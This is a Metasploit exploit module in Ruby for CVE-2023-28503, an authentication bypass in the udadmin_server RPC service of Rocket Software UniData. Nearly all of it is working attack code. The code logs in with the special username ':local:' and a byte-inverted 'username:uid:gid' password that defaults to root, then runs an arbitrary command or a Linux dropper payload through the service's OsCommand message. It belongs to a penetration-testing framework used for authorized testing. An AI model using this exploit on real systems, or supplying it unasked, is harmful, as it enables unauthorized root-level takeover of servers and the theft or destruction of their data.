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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::Remote::Unirpc
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Rocket Software Unidata udadmin_server Authentication Bypass',
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        'Description' => %q{
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          This module exploits an authentication bypass vulnerability in the
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          Linux version of udadmin_server, which is an RPC service that comes
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          with the Rocket Software UniData server. This affects versions of
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          UniData prior to 8.2.4 build 3003.
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          This service typically runs as root. It accepts a username of
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          ":local:" and a password in the form of "<username>:<uid>:<gid>",
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          where username and uid must be a valid account, but gid can be
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          anything except 0.
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          This exploit takes advantage of this login account to authenticate
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          as a chosen user and run an arbitrary command (using the built-in
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          OsCommand message).
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Ron Bowes', # Discovery, PoC, module
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        ],
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        'References' => [
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          [ 'URL', 'https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed' ],
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          [ 'CVE', '2023-28503' ],
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        ],
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        'Platform' => ['linux', 'unix'],
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        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
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        'Targets' => [
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          [
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            'Unix Command',
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            {
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              'Platform' => 'unix',
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              'Arch' => ARCH_CMD,
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              'Type' => :unix_cmd
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            }
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          ],
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          [
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            'Linux Dropper',
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            {
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              'Platform' => 'linux',
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'Type' => :linux_dropper
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            }
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          ]
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        ],
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        'DefaultTarget' => 0,
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        'DefaultOptions' => {
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          'RPORT' => 31438,
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          'PrependFork' => true
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        },
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        'Privileged' => true,
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        'DisclosureDate' => '2023-03-30',
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        'Notes' => {
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          'SideEffects' => [],
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          'Reliability' => [REPEATABLE_SESSION],
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          'Stability' => [CRASH_SAFE]
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('UNIRPC_USERNAME', [ true, 'Linux username to authenticate with (must match the uid)', 'root']),
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        OptInt.new('UNIRPC_UID', [ true, 'Linux uid to authenticate with (must correspond to the username)', 0]),
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        OptInt.new('UNIRPC_GID', [ true, 'gid to authenticate with (must not be 0, does not need to correspond to the username)', 1000]),
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      ]
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    )
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    register_advanced_options(
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      [
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        OptString.new('UNIRPC_ENDPOINT', [ true, 'The UniRPC service to request', 'udadmin']),
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      ]
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    )
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  end
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  # We can detect UniRPC by performing a version check, but the version number
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  # didn't increment in the patch (only the build number did, which AFAICT we
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  # can't access), so just do a sanity check
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  def check
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    version = unirpc_get_version
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    vprint_status("Detected UniRPC version #{version} is running")
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    Exploit::CheckCode::Detected
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  rescue UniRPCCommunicationError => e
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    return CheckCode::Safe("Could not communicate with the UniRPC server: #{e}")
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  rescue UniRPCUnexpectedResponseError => e
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    return CheckCode::Safe("UniRPC server returned something unexpected: #{e}")
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  end
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  def execute_command(cmd, _opts = {})
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    vprint_status('Sending OsCommand request')
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    sock.put(build_unirpc_message(args: [
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      # Message type
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      { type: :integer, value: UNIRPC_MESSAGE_OSCOMMAND },
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      { type: :string, value: cmd },
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    ]))
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  end
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  def exploit
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    # Sanity check
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    if datastore['UNIRPC_GID'] == 0
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      fail_with(Failure::BadConfig, 'UNIRPC_GID cannot be 0')
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    end
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    # Connect to the service
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    connect
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    # Connect to the RPC service (probably "udadmin")
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    vprint_status("Connecting to UniRPC endpoint #{datastore['UNIRPC_ENDPOINT']}")
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    sock.put(build_unirpc_message(args: [
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      # Service name
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      { type: :string, value: datastore['UNIRPC_ENDPOINT'] },
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      # "Secure" flag - this must be non-zero if the server is started in
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      # "secure" mode (-s)
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      { type: :integer, value: 1 },
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    ]))
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    # This will throw an error if the login fails, otherwise we can discard the
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    # result
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    recv_unirpc_message(sock, first_result_is_status: true)
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    # Prepare the authentication bypass
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    username = ':local:'
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    password = "#{datastore['UNIRPC_USERNAME']}:#{datastore['UNIRPC_UID']}:#{datastore['UNIRPC_GID']}"
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    vprint_status("Authenticating to RPC service as #{username} / #{password}")
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    # Send the authentication message
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    sock.put(build_unirpc_message(args: [
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      # Message type
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      { type: :integer, value: UNIRPC_MESSAGE_LOGIN },
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      # Username
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      # ":local:" is a special value that skips login
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      { type: :string, value: username },
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      # Password (encoded by making each byte negative)
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      # I think if username is :local:, this is username:uid:gid (gid can't be 0)
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      { type: :string, value: password.bytes.map { |b| (0x0FF & (~b)).chr }.join },
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    ]))
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    # Once again, we only care if this fails - if the status is an error
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    recv_unirpc_message(sock, first_result_is_status: true)
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    # Run the command(s)
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    case target['Type']
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    when :unix_cmd
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      execute_command(payload.encoded)
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    when :linux_dropper
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      execute_cmdstager
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    end
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  rescue UniRPCCommunicationError => e
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    fail_with(Failure::Unreachable, "Could not communicate with the UniRPC server: #{e}")
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  rescue UniRPCUnexpectedResponseError => e
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    fail_with(Failure::UnexpectedReply, "UniRPC server returned something unexpected: #{e}")
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  end
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end
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